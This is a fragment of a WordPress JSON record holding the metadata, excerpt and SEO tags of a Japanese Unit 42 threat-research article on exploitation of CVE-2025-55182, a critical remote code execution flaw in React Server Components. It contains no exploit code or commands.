\u5348\u5f8c2\u664200\u5206\uff08\u592a\u5e73\u6d0b\u6a19\u6e96\u6642\uff09\u66f4\u65b0\uff1a\u30a8\u30b0\u30bc\u30af\u30c6\u30a3\u30d6\u30b5\u30de\u30ea\u30fc\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u306bKSwapDoor\u306b\u95a2\u3059\u308b\u66f4\u65b0\u60c5\u5831\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\u307e\u305f\u3001\u660e\u78ba\u5316\u306e\u305f\u3081\u306b\u5fae\u4fee\u6b63\u3092\u884c\u3044\u307e\u3057\u305f\u3002<\/span><\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>React Server Components \u3067\u4f7f\u7528\u3055\u308c\u308b Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u304a\u3051\u308b\u3001CVSS 10.0 \u3068\u8a55\u4fa1\u3055\u308c\u305f RCE \u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u308c\u306f CVE-2025-55182 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n","protected":false},"author":23,"featured_media":167626,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4432,4470],"tags":[4899,9817,9818,4853,4943],"product_categories":[4442,4446,8283,4447,8712,4448,4449,4450,4456,4458,4465],"coauthors":[1025],"class_list":["post-167641","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-top-cyberthreats-ja","category-vulnerabilities-ja","tag-cobalt-strike-ja","tag-cve-2025-55182-ja","tag-cve-2025-66478-ja","tag-remote-code-execution-ja","tag-web-shells-ja","product_categories-advanced-threat-prevention-ja","product_categories-cloud-delivered-security-services-ja","product_categories-code-to-cloud-platform-ja","product_categories-cortex-ja","product_categories-cortex-cloud-ja","product_categories-cortex-xdr-ja","product_categories-cortex-xpanse-ja","product_categories-cortex-xsiam-ja","product_categories-next-generation-firewall-ja","product_categories-prisma-cloud-ja","product_categories-unit-42-incident-response-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>React Server Components \u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\u306e\u60aa\u7528 (12\u670812\u65e5\u66f4\u65b0)<\/title>\n<meta name=\"description\" content=\"React Server Components \u3067\u4f7f\u7528\u3055\u308c\u308b Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u304a\u3051\u308b\u3001CVSS 10.0 \u3068\u8a55\u4fa1\u3055\u308c\u305f RCE \u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u308c\u306f CVE-2025-55182 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u307e\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/cve-2025-55182-react-and-cve-2025-66478-next\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"React Server Components \u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\u306e\u60aa\u7528 (12\u670812\u65e5\u66f4\u65b0)\" \/>\n<meta property=\"og:description\" content=\"React Server Components \u3067\u4f7f\u7528\u3055\u308c\u308b Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u304a\u3051\u308b\u3001CVSS 10.0 \u3068\u8a55\u4fa1\u3055\u308c\u305f RCE \u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u308c\u306f CVE-2025-55182 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u307e\u3059\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/cve-2025-55182-react-and-cve-2025-66478-next\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-12T16:29:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-12-16T15:49:11+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/12\/02_Vulnerabilities_1920x900.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Unit 42\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"React Server Components \u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\u306e\u60aa\u7528 (12\u670812\u65e5\u66f4\u65b0)","description":"React Server Components \u3067\u4f7f\u7528\u3055\u308c\u308b Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u304a\u3051\u308b\u3001CVSS 10.0 \u3068\u8a55\u4fa1\u3055\u308c\u305f RCE \u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u308c\u306f CVE-2025-55182 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u307e\u3059\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/ja\/cve-2025-55182-react-and-cve-2025-66478-next\/","og_locale":"ja_JP","og_type":"article","og_title":"React Server Components \u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\u306e\u60aa\u7528 (12\u670812\u65e5\u66f4\u65b0)","og_description":"React Server Components \u3067\u4f7f\u7528\u3055\u308c\u308b Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u304a\u3051\u308b\u3001CVSS 10.0 \u3068\u8a55\u4fa1\u3055\u308c\u305f RCE \u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u308c\u306f CVE-2025-55182 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